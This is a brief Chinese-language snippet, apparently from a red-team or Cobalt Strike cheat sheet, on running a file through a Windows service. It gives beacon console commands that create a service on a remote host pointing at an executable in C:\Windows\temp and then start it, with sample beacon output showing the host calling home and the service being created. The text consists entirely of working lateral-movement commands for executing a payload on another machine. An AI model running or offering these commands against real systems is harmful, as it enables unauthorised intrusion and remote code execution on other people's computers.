通过服务执行文件#

# 创建服务
beacon> shell sc \\host create name binpath= c:\windows\temp\file.exe

# beacon> shell sc \\SERVER20082 create beacon binpath= c:\windows\temp\s.exe
[*] Tasked beacon to run: sc \\SERVER20082 create name binpath= c:\windows\temp\s.exe
[+] host called home, sent: 90 bytes
[+] received output:
[SC] CreateService 成功

# 启动服务
beacon> shell sc \\host start name